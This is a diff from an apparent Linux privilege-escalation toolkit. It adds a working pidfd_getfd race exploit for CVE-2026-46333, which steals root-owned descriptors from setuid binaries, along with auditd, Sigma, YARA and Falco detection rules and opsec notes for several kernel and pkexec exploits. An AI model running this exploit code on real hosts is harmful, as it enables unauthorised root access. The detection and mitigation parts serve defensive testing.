|
||||
static const char *find_setuid_victim(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||
"/usr/bin/su", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||
return targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||
* does something harmless while we race its descriptor table. */
|
||||
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||
{
|
||||
char *envp[] = {
|
||||
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL
|
||||
};
|
||||
if (strstr(victim, "chage")) {
|
||||
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else if (strstr(victim, "pkexec")) {
|
||||
char *argv[] = { (char *)victim, "--version", NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else {
|
||||
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||
* touches no state. */
|
||||
char *argv[] = { (char *)victim, "--help", NULL };
|
||||
execve(victim, argv, envp);
|
||||
}
|
||||
_exit(127); /* execve failed */
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *victim = find_setuid_victim();
|
||||
if (!victim) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *self_user = pw ? pw->pw_name : "root";
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||
|
||||
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||
* transitions through its privileged window. On a PATCHED kernel
|
||||
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||
* the empirical witness that the bug fired. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* Small delay so the parent has the pidfd open before we exec
|
||||
* into (and briefly become) the privileged image. */
|
||||
usleep(20 * 1000);
|
||||
exec_victim_benign(victim, self_user);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int pidfd = sk_pidfd_open(child, 0);
|
||||
if (pidfd < 0) {
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||
"the vector despite version check\n");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
perror("pidfd_open");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Tight steal loop across the victim's likely descriptor range during
|
||||
* its privileged window. We do not destroy anything: captured fds are
|
||||
* fstat()'d to fingerprint ownership, then closed. */
|
||||
int root_fds = 0, captured = 0;
|
||||
bool enosys = false;
|
||||
for (int round = 0; round < 200; round++) {
|
||||
for (int tfd = 0; tfd < 32; tfd++) {
|
||||
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||
if (got < 0) {
|
||||
if (errno == ENOSYS) { enosys = true; break; }
|
||||
continue; /* EPERM (patched / outside window) or EBADF */
|
||||
}
|
||||
captured++;
|
||||
struct stat st;
|
||||
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||
root_fds++;
|
||||
if (!ctx->json) {
|
||||
char lpath[64], target[256] = {0};
|
||||
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||
if (n > 0) target[n] = 0;
|
||||
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||
(unsigned)(st.st_mode & 07777),
|
||||
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||
}
|
||||
}
|
||||
close(got);
|
||||
}
|
||||
if (enosys) break;
|
||||
}
|
||||
|
||||
close(pidfd);
|
||||
int status; waitpid(child, &status, 0);
|
||||
|
||||
if (enosys) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (root_fds > 0) {
|
||||
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||
* uid-0-owned descriptor out of the victim past the dumpable
|
||||
* boundary. We deliberately STOP here rather than fabricate a
|
||||
* root shell — turning a captured fd into root is target-specific
|
||||
* (which fd, writable vs. authenticated channel) and is not
|
||||
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||
root_fds);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||
"— primitive blocked (kernel likely patched, or the victim "
|
||||
"exposed no privileged fd in its window)\n", captured);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||
* real fix is the kernel patch. */
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) {
|
||||
if (errno == ENOENT) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||
"no runtime mitigation — upgrade the kernel\n", path);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
ssize_t w = write(fd, "2\n", 2);
|
||||
close(fd);
|
||||
if (w != 2) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||
"This is a stopgap; patch the kernel.\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||
* ptrace, the common distro default). Exploit itself leaves no file
|
||||
* artifacts (the steal is in-memory), so there is nothing else to
|
||||
* undo. */
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||
ssize_t w = write(fd, "1\n", 2);
|
||||
close(fd);
|
||||
if (!ctx->json && w == 2)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||
* Linux-only ABI. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||
* pidfd_getfd is a strong indicator. */
|
||||
static const char ptrace_pidfd_auditd[] =
|
||||
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||
"# watch the credential files a successful steal would target.\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||
|
||||
static const char ptrace_pidfd_sigma[] =
|
||||
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: getfd and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||
|
||||
static const char ptrace_pidfd_falco[] =
|
||||
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||
" channel past the dumpable boundary. False positives: container\n"
|
||||
" runtimes / debuggers using pidfd as root.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||
.name = "ptrace_pidfd",
|
||||
.cve = "CVE-2026-46333",
|
||||
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||
.family = "ptrace_pidfd",
|
||||
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||
.detect = ptrace_pidfd_detect,
|
||||
.exploit = ptrace_pidfd_exploit,
|
||||
.mitigate = ptrace_pidfd_mitigate,
|
||||
.cleanup = ptrace_pidfd_cleanup,
|
||||
.detect_auditd = ptrace_pidfd_auditd,
|
||||
.detect_sigma = ptrace_pidfd_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||
.detect_falco = ptrace_pidfd_falco,
|
||||
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_pidfd(void)
|
||||
{
|
||||
skeletonkey_register(&ptrace_pidfd_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
|
||||
#endif
|
||||
@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
{4, 4, 182},
|
||||
{4, 9, 182},
|
||||
{4, 14, 131},
|
||||
{4, 19, 58},
|
||||
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
|
||||
{5, 0, 20},
|
||||
{5, 1, 17},
|
||||
{5, 2, 0}, /* mainline (5.2-rc) */
|
||||
@@ -317,6 +317,42 @@ static const char ptrace_traceme_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||
|
||||
static const char ptrace_traceme_sigma[] =
|
||||
"title: Possible CVE-2019-13272 PTRACE_TRACEME stale-cred LPE\n"
|
||||
"id: 1a02c3a8-skeletonkey-ptrace-traceme\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects ptrace(PTRACE_TRACEME) immediately followed by parent\n"
|
||||
" execve of a setuid binary. The kernel stores the parent's pre-\n"
|
||||
" execve credentials on the ptrace_link; after execve the link\n"
|
||||
" is stale but ptrace still grants privileges. False positives:\n"
|
||||
" debuggers (gdb, strace) tracing setuid processes legitimately.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" traceme: {type: 'SYSCALL', syscall: 'ptrace', a0: 0}\n"
|
||||
" execve: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: traceme and execve\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.13272]\n";
|
||||
|
||||
static const char ptrace_traceme_falco[] =
|
||||
"- rule: PTRACE_TRACEME followed by setuid execve (cred escalation)\n"
|
||||
" desc: |\n"
|
||||
" Child calls ptrace(PTRACE_TRACEME) (recording parent's pre-\n"
|
||||
" execve creds); parent then execve's a setuid binary\n"
|
||||
" (pkexec, su, sudo). The stale ptrace_link grants the\n"
|
||||
" unprivileged child ptrace privileges over the now-root\n"
|
||||
" parent. CVE-2019-13272. False positives: debuggers (gdb,\n"
|
||||
" strace) tracing setuid processes legitimately.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ptrace and evt.arg.request = PTRACE_TRACEME and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" PTRACE_TRACEME by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.13272]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
@@ -328,9 +364,11 @@ const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_sigma = ptrace_traceme_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = ptrace_traceme_falco,
|
||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
|
||||
@@ -384,6 +384,59 @@ static const char pwnkit_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
|
||||
|
||||
static const char pwnkit_yara[] =
|
||||
"rule pwnkit_gconv_modules_cache : cve_2021_4034 lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-4034\"\n"
|
||||
" description = \"Pwnkit gconv-modules cache: redefines UTF-8 to load an attacker .so via iconv when pkexec is invoked with argc==0.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\"\n"
|
||||
" strings:\n"
|
||||
" // gconv-modules text format: \"module FROM// TO// SHARED-OBJECT COST\".\n"
|
||||
" // Published PoCs redefine UTF-8 and point it at a .so dropped in /tmp.\n"
|
||||
" $line = /module\\s+UTF-8\\/\\/\\s+\\S+\\/\\/\\s+\\S+\\s+\\d/\n"
|
||||
" $alias = /alias\\s+\\S+\\s+UTF-8/\n"
|
||||
" // Hint: PoC workdirs frequently include 'pwnkit' or 'GCONV' in path strings the .so carries.\n"
|
||||
" $marker_pwn = \"pwnkit\" nocase\n"
|
||||
" $marker_gcv = \"GCONV_PATH\"\n"
|
||||
" condition:\n"
|
||||
" // Small text-format file (gconv-modules caches are tiny) with the module redefinition.\n"
|
||||
" // Pair with -w /tmp -p wa auditd to catch the drop in real time.\n"
|
||||
" filesize < 4KB and $line and 1 of ($alias, $marker_pwn, $marker_gcv)\n"
|
||||
"}\n";
|
||||
|
||||
static const char pwnkit_falco[] =
|
||||
"- rule: Pwnkit-style pkexec invocation (NULL argv)\n"
|
||||
" desc: |\n"
|
||||
" pkexec executed without argv (argc == 0). The Qualys PoC for\n"
|
||||
" CVE-2021-4034 invokes pkexec via execve with NULL argv so the\n"
|
||||
" out-of-bounds argv read picks up envp as if it were argv[1].\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = pkexec and\n"
|
||||
" (proc.cmdline = \"pkexec\" or proc.args = \"\")\n"
|
||||
" output: >\n"
|
||||
" Possible Pwnkit (CVE-2021-4034): pkexec spawned with no argv\n"
|
||||
" (user=%user.name uid=%user.uid pid=%proc.pid ppid=%proc.ppid\n"
|
||||
" parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.4034]\n"
|
||||
"\n"
|
||||
"- rule: Pwnkit-style GCONV_PATH injection\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets GCONV_PATH in env before spawning a\n"
|
||||
" setuid binary. Combined with a controlled .so + gconv-modules\n"
|
||||
" cache, this is the Qualys exploit shape.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and not user.uid = 0 and\n"
|
||||
" (proc.env contains \"GCONV_PATH=\" or proc.env contains \"CHARSET=\") and\n"
|
||||
" proc.name in (pkexec, su, sudo, mount, chsh, passwd)\n"
|
||||
" output: >\n"
|
||||
" GCONV_PATH/CHARSET set by non-root before setuid spawn\n"
|
||||
" (user=%user.name target=%proc.name env=\"%proc.env\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, env_injection, cve.2021.4034]\n";
|
||||
|
||||
static const char pwnkit_sigma[] =
|
||||
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
|
||||
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
|
||||
@@ -417,8 +470,10 @@ const struct skeletonkey_module pwnkit_module = {
|
||||
.cleanup = pwnkit_cleanup,
|
||||
.detect_auditd = pwnkit_auditd,
|
||||
.detect_sigma = pwnkit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = pwnkit_yara,
|
||||
.detect_falco = pwnkit_falco,
|
||||
.opsec_notes = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pwnkit(void)
|
||||
|
||||
@@ -127,7 +127,7 @@
|
||||
|
||||
static const struct kernel_patched_from sequoia_patched_branches[] = {
|
||||
{5, 4, 134},
|
||||
{5, 10, 52},
|
||||
{5, 10, 46}, /* Debian tracker: earlier than 5.10.52 */
|
||||
{5, 13, 4},
|
||||
{5, 14, 0}, /* mainline */
|
||||
};
|
||||
@@ -686,6 +686,57 @@ static const char sequoia_auditd[] =
|
||||
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
|
||||
"# the canonical trigger shape.\n";
|
||||
|
||||
static const char sequoia_sigma[] =
|
||||
"title: Possible CVE-2021-33909 seq_file size_t-int wrap\n"
|
||||
"id: 2b13d4b9-skeletonkey-sequoia\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the seq_file OOB-write trigger pattern: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + a burst of ~5000 mkdir/mkdirat\n"
|
||||
" syscalls + bind-mount + read(/proc/self/mountinfo). The\n"
|
||||
" rendered string exceeds INT_MAX, wrapping to negative.\n"
|
||||
" False positives: unusual; bursts of >1000 mkdir/s are rare in\n"
|
||||
" normal workloads.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" mkdir: {type: 'SYSCALL', syscall: 'mkdir'}\n"
|
||||
" bind: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" condition: userns and mkdir and bind\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.33909]\n";
|
||||
|
||||
static const char sequoia_yara[] =
|
||||
"rule sequoia_cve_2021_33909 : cve_2021_33909 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-33909\"\n"
|
||||
" description = \"Sequoia deep-mountpoint workdir + log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = \"/tmp/skeletonkey-sequoia\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-sequoia.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sequoia_falco[] =
|
||||
"- rule: Deeply nested mkdir burst + /proc/self/mountinfo read (Sequoia)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process reading /proc/self/mountinfo after a burst\n"
|
||||
" of ~5000 mkdir()s and a bind-mount of the deep leaf. The\n"
|
||||
" rendered mountinfo string exceeds INT_MAX. CVE-2021-33909.\n"
|
||||
" False positives: rare; mkdir bursts of this size are not\n"
|
||||
" seen in normal workloads.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = open and fd.name = /proc/self/mountinfo and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" /proc/self/mountinfo read by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.33909]\n";
|
||||
|
||||
const struct skeletonkey_module sequoia_module = {
|
||||
.name = "sequoia",
|
||||
.cve = "CVE-2021-33909",
|
||||
@@ -697,9 +748,11 @@ const struct skeletonkey_module sequoia_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = sequoia_cleanup,
|
||||
.detect_auditd = sequoia_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = sequoia_sigma,
|
||||
.detect_yara = sequoia_yara,
|
||||
.detect_falco = sequoia_falco,
|
||||
.opsec_notes = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sequoia(void)
|
||||
|
||||
@@ -952,6 +952,53 @@ static const char stackrot_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
|
||||
|
||||
static const char stackrot_sigma[] =
|
||||
"title: Possible CVE-2023-3269 maple-tree VMA-split UAF\n"
|
||||
"id: 3c24e5ca-skeletonkey-stackrot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the StackRot race-groom: unshare(CLONE_NEWUSER) + tight\n"
|
||||
" loops of mremap/munmap on MAP_GROWSDOWN regions + msg_msg\n"
|
||||
" spray (msgsnd) for kmalloc-192 grooming. False positives: JIT\n"
|
||||
" runtimes and aggressive memory allocators may do similar mremap\n"
|
||||
" bursts but typically without msg_msg grooming.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
